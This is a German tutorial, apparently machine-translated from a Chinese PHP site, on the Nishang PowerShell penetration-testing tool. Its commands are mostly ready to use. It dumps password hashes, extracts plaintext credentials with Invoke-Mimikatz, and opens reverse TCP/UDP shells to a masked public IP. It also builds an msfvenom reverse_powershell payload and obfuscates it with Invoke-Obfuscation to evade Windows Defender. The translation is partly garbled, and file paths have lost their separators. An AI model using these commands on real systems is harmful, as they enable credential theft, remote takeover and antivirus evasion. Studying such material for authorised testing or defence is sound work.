Heim >Betrieb und Instandhaltung >Sicherheit >So verwenden Sie Nishang, das PowerShell-Penetrationstest-Tool
Anfängliches PowerShell, lassen Sie uns zunächst das Konzept verstehen: PowerShell kann als aktualisierte Version von cmd (bat scripting language) betrachtet werden, einer Skriptsprache auf der Windows-Plattform. Es ist objektorientiert und eng mit .Net FrameWork verwandt. Man kann es sich auch als Bash-Shell unter Windows vorstellen. Windows PowerShell ist eine Befehlszeilen-Shell und Skriptumgebung, die es Befehlszeilenbenutzern und Skriptprogrammierern ermöglicht, die Leistungsfähigkeit von .NET Framework zu nutzen. Es stellt viele nützliche neue Konzepte vor, die das Wissen, das Sie erwerben, und die Skripts, die Sie in der Windows-Eingabeaufforderungs- und Windows-Host-Umgebung erstellen, weiter erweitern. Der Code wird im Speicher ausgeführt und berührt die Festplatte nicht. Viele Sicherheitsprodukte können die Aktivitäten von PowerShell nicht erkennen. Die Ausführung von cmd.exe ist jedoch nicht möglich. Tatsächlich müssen wir während des Penetrationstestprozesses einige Schutzsoftware umgehen. Neben der Umgehung von Skripten oder anderen Tools ist auch das PoweShell-Tool eine gute Wahl. Zum Beispiel verwenden wir das Passwort, um das magische Mimikatz auf dem Zielhost zu erfassen. Dieses von einem französischen Experten geschriebene magische Tool wird häufiger von allen verwendet. Das Beste daran ist, dass Sie das Klartext-Passwort des aktiven Windows erhalten können Konto von lsass.exe. Aber wenn Sie es nicht gut schaffen, das Töten zu vermeiden, werden Sie direkt von einem bestimmten tötungsfreien Familieneimer überholt. Mit Powershell kann ein Angreifer Befehle ausführen, ohne die Festplatte zu berühren. Hier sind einige häufig verwendete Tools:
Nishang ist ein spezielles Tool für Penetrationstests auf Basis von PowerShell. Es integriert Skripte und verschiedene Payloads, wie z. B. Passworterfassung, Port-Scanning, Privilegieneskalation usw. Dieses Tool wird häufig von Anfängern im täglichen Penetrationstest verwendet. Zuerst müssen wir dieses Tool herunterladen: https://github.com/samratashok/nishang. Nach dem Herunterladen können wir sehen, was die folgenden Tools enthalten. Als nächstes übergeben wir die spezifischen Eine experimentelle Umgebung wird verwendet, um die häufig verwendeten Module im Penetrationstestprozess zu demonstrieren. Vor der Demonstration müssen einige häufige Fehler erläutert werden, die beim Ausführen des Powershell-Tools auftreten, z. B. Berechtigungsprobleme beim Ausführen von Skripten, Probleme beim Importieren von Modulen usw.
Powershell ist beim ersten Importieren des Moduls nicht zulässig, da die Standardrichtlinie nicht zulässig ist. Zu diesem Zeitpunkt müssen wir die Ausführungsrichtlinie ändern, die als remotesigned bezeichnet wird.
Schauen wir uns die aktuelle Ausführungsrichtlinie an. Eingeschränkt ist die Ausführung von Skripten nicht zulässig, auch wenn Sie über Administratorrechte verfügen. Wir müssen die Berechtigungen ändern und den Befehl ausführen:
Set-ExecutionPolicy remotesigned Wenn wir die aktuelle Ausführungsrichtlinie erneut abfragen, wird remotesigned das Skript erneut erfolgreich importiert.
Ausführen, um die Skriptinformationen im importierten Modul anzuzeigen: Get-Command -Module nishang Listen Sie die Informationen dieser Maschine auf: Get-Information Jetzt geben wir auch die Ausführung an Erlaubnis geändert, beginnen wir unsere Demonstrationsreise. Eine Welle der PassworterfassungWenn wir einen Server bekommen, müssen wir wissen, ob der Zielhost eine physische Maschine oder eine virtuelle Maschine ist. Führen Sie den Befehl aus: Check-VM
#powershell –exec bypass –Command "& {Import -Module 'C:nishangGatherGet-PassHashes.ps1';Get-PassHashes -PSObjectFormat |. Out-File hash.txt}" //Hash-Wert abrufen und in einem benutzerdefinierten Dokument speichern.
Da wir den Hash-Wert erfassen können, können wir auch das Klartext-Passwort erfassen. Schauen wir uns zunächst das Skript zum Erfassen des Passworts an. Wir können sehen, dass auch das Tool Mimikatz verwendet wird, das jedoch nur in das Powershell-Skript geladen wird.
Wir können den folgenden Befehl verwenden, um das Klartext-Passwort zu erhalten:
#powershell –exec bypass –Command "& {Import-Module 'C:nishangGatherInvoke-Mimikatz.ps1';Invoke-Mimikatz }" Versuchen Sie, das Klartextkennwort des aktuellen Systembenutzers direkt zu erfassen. (Der am häufigsten verwendete Befehl)
Während des Penetrationstests sind wir bei der Portweiterleitung auf eine Reihe tödlicher Familien-Buckets, Nclcxsockes-Agenten usw. gestoßen Von Zeit zu Zeit wurde Er getötet und ausgerottet. Dann können wir zu diesem Zeitpunkt das Portweiterleitungsskript in Nishang verwenden. Neben der Einführung der integrierten Portweiterleitung experimentieren wir hier auch mit der Portweiterleitung mit MSF, die beide einen öffentlichen Netzwerkserver erfordern.
1. TCP-Portweiterleitung (umgekehrte Verbindung)
Führen Sie den Überwachungsbefehl auf dem öffentlichen Netzwerkserver aus: nc -lvp 5555
Der Zielhost führt den Portweiterleitungsbefehl aus: Invoke-PowerShellTcp -Reverse -IPAddress 106.xxx.xxx .115 – Port 5555
Nachdem wir die Befehle auf dem Zielhost bzw. dem öffentlichen Netzwerk ausgeführt haben, springt der öffentliche Netzwerkserver eine Shell zurück, sodass wir die Befehle des Intranetservers ausführen können.
2. UDP-Portweiterleitung (umgekehrte Verbindung)
Führen Sie den Abhörbefehl auf dem öffentlichen Netzwerkserver aus: nc -lup 6666
Der Zielhost führt den Portweiterleitungsbefehl aus: Invoke-PowerShellUdp -Reverse -IPAddress 106.xxx .xxx.115 -Port 6666
Zusätzlich zu Rückwärtsverbindungen verwende ich bei Penetrationstests oft auch Rückwärtsverbindungen. Wenn die Großen an Vorwärtsverbindungen interessiert sind, können Sie gehen Mach es. Okay, jetzt verwenden wir Powershell und MSF für die Portweiterleitung. Zuerst überprüfen wir mit dem Befehl, ob es ein Powershell-Modul in MSF gibt:
##msfvenom -l payloads |grep 'reverse_powershell //Fragen Sie den Speicherort des Powershell-Moduls ab .
Wir verwenden MSF, um einen Befehl zum Generieren eines Rebound-Ports zu generieren:
##msfvenom -p cmd/windows/reverse_powershell lhost=106.xxx.xxx.115 lport=9999 r //Nutzlast generieren, Typ ist Powershell, der rot markierte Abschnitt ist der Befehl, der auf dem Zielhost ausgeführt werden muss.
Der nächste Schritt besteht darin, den gerade generierten Powershell-Befehl auf dem Zielhost auszuführen und Port 9999 auf dem öffentlichen Server abzuhören. Auf diese Weise können wir die Shell des Zielhosts erfolgreich an den öffentlichen Netzwerkserver weiterleiten.
Wir werden auch darüber nachdenken, wie wir mithilfe der Verschleierung Windows Defender auf dem Zielhost umgehen können, da die von uns generierte normale Nutzlast von Windows Defender überprüft wird und wir diesen Prüfmechanismus umgehen müssen. Nehmen wir die obige Nutzlast als Beispiel, um sie zu verschleiern und Windows Defender zu umgehen. Manchmal führen wir die von uns generierte normale Nutzlast direkt auf dem Zielhost aus und sie kann direkt von Windows Defender abgefangen werden. Das Tool zur Verschleierung ist zweifellos Invoke-Obfuscation von Daniel Bohannon. Die Github-Seite des Projekts ist zu finden.
Zuerst starten wir das Invoke-Obfuscation-Tool:
Import-Module ./Invoke-Obfuscation.psd1 //Import Invoke-Obfuscation.psd1;
Invoke-Obfuscation //Starten Sie das Invoke-Obfuscation-Tool;
Jetzt werden wir die soeben generierte Portweiterleitungsnutzlast verschleiern. Schauen wir uns zunächst die Parameter verschiedener Verschleierungsverarbeitungsmethoden an:
Welche Teile der Nutzlast verschleiert werden müssen, müssen wir im Voraus festlegen, was mit dem folgenden Befehl erfolgen kann:
Set scriptblock 'payload';
Wir entscheiden uns dafür, den gesamten Befehl als Zeichenfolge zu verschleiern ( Die spezifische Auswahl basiert auf der spezifischen Penetrationstestumgebung):
Wählen Sie 1 für ASCII-Verschleierung. Wir geben 1.ps1 ein, um die Ausgabe anzuzeigen. Dieser Befehl entspricht auch dem Speichern der verschleierten Datei im aktuellen Verzeichnis Beenden Sie es mit 1. ps1:
Führen Sie dieses Skript auf dem Zielhost aus. Der öffentliche Netzwerkserver überwacht Port 9999 und kann auch die Shell des Intranet-Hosts erfolgreich bouncen:
Das obige ist der detaillierte Inhalt vonSo verwenden Sie Nishang, das PowerShell-Penetrationstest-Tool. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!